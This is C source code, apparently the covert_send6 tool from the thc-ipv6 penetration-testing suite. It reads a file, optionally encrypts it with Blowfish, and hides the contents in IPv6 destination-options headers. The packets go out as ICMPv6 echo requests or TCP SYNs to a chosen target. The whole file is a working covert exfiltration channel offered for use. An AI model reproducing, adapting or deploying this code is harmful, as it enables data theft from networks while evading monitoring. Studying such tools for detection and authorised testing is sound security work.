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covert_send6.c
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/
covert_send6.c
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#ifndef _HAVE_SSL
int main() {
fprintf(stderr,
"Error: thc-ipv6 was compiled without openssl support, covert_send6 "
"disabled.\n");
return -1;
}
#else
#if (_TAKE2 > 0)
int main() {
fprintf(stderr, "Error: tool does not work on big endian\n");
return -1;
}
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include <openssl/blowfish.h>
#include <openssl/sha.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf(
"Syntax: %s [-m mtu] [-k key] [-s resend] interface target file "
"[port]\n\n",
prg);
printf("Options:\n");
printf(
" -m mtu specifies the maximum MTU (default: interface MTU, min: "
"1000)\n");
printf(" -k key encrypt the content with Blowfish-160\n");
printf(" -s resend send each packet RESEND number of times, default: 1\n");
printf("\n");
printf(
"Sends the content of FILE covertly to the target, And its POC - don't "
"except\n");
printf(
"too much sophistication - its just put into the destination header.\n");
exit(-1);
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL, rbuf[3570], wbuf[3570], buf[4000];
unsigned char *src6 = NULL, *dst6 = NULL, srcmac[6] = "", *mac = srcmac,
*dmac;
int pkt1_len = 0, flags = 0, i = 0, mtu = 0, bytes, seq = 0, id, rounds,
wbytes, bufsize = 0, send = 2, num = 0;
char *interface, *key = NULL, hash[20], vec[8] = {0, 0, 0, 0, 0, 0, 0, 0};
;
int rawmode = 0, tcp_port = -1;
FILE * f;
BF_KEY bfkey;
if (argc < 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
while ((i = getopt(argc, argv, "rm:k:s:")) >= 0) {
switch (i) {
case 'r':
rawmode = 1;
thc_ipv6_rawmode(1);
break;
case 'k':
key = optarg;
break;
case 'm':
mtu = atoi(optarg);
break;
case 's':
send = atoi(optarg);
break;
default:
exit(-1);
}
}
if (argc < optind + 2) {
fprintf(stderr, "Error: Not enough parameters!\n");
help(argv[0]);
}
interface = argv[optind];
dst6 = thc_resolve6(argv[optind + 1]);
if ((f = fopen(argv[optind + 2], "r")) == NULL) {
fprintf(stderr, "Error: file %s not found\n", argv[optind + 2]);
exit(-1);
}
if (argc >= optind + 4 && argv[optind + 3] != NULL)
tcp_port = atoi(argv[optind + 3]);
if (mtu == 0) mtu = thc_get_mtu(interface);
if (mtu <= 1000) {
fprintf(stderr, "Error: MTU of interface %s must be at least 1000 bytes\n",
interface);
exit(-1);
}
mac = thc_get_own_mac(interface);
src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
if ((dmac = thc_get_mac(interface, src6, dst6)) == NULL) {
fprintf(stderr, "Error: can not get MAC for target\n");
exit(-1);
}
srand(getpid());
mtu -= 128;
if (mtu % 255 == 0)
i = 2 * (mtu / 255);
else
i = 2 + 2 * (mtu / 255);
mtu = mtu - i;
if ((mtu + i + 14) % 8 > 0) mtu = (((mtu + i + 14) / 8) * 8) - (i + 14);
if (mtu > 14 * 255) mtu = 14 * 255;
if (key != NULL) {
memset(&bfkey, 0, sizeof(bfkey));
SHA1((unsigned char *)key, strlen(key), (unsigned char *)hash);
BF_set_key(&bfkey, sizeof(hash), (unsigned char *)hash);
memset(vec, 0, sizeof(vec));
num = 0;
}
id = rand();
buf[0] = 16;
buf[1] = 4;
memcpy(buf + 2, (char *)&id, 4);
buf[6] = 17;
buf[7] = 4;
while ((bytes = fread(rbuf, 1, mtu, f)) > 0) {
seq++;
if (key != NULL) {
BF_cfb64_encrypt((unsigned char *)rbuf, (unsigned char *)wbuf, bytes,
&bfkey, (unsigned char *)vec, &num, BF_ENCRYPT);
memcpy(rbuf, wbuf, bytes);
}
memcpy(buf + 8, (char *)&seq, 4);
bufsize = 12;
rounds = bytes / 255;
for (i = 0; i <= rounds; i++) {
buf[bufsize] = i + 18;
if (i == rounds)
wbytes = bytes % 255;
else
wbytes = 255;
buf[bufsize + 1] = wbytes;
memcpy(buf + bufsize + 2, rbuf + 255 * i, wbytes);
bufsize += wbytes + 2;
}
if (bytes < mtu) {
buf[bufsize] = 0x1f;
buf[bufsize + 1] = 0;
bufsize = bufsize + 2;
}
if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len,
src6, dst6, 0, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, bufsize)) return -1;
if (tcp_port == -1) {
if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_ECHOREQUEST, 0, flags, NULL, 0,
0) < 0)
return -1;
} else {
if (thc_add_tcp(pkt1, &pkt1_len, (rand() % 45536) + 10000, tcp_port,
rand(), 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0)
return -1;
}
if (thc_generate_pkt(interface, mac, dmac, pkt1, &pkt1_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
printf("Sending packet seq# %d\n", seq);
for (i = 0; i < send; i++) {
thc_send_pkt(interface, pkt1, &pkt1_len);
usleep(100);
}
pkt1 = thc_destroy_packet(pkt1);
}
printf("All sent.\n");
return 0;
}
#endif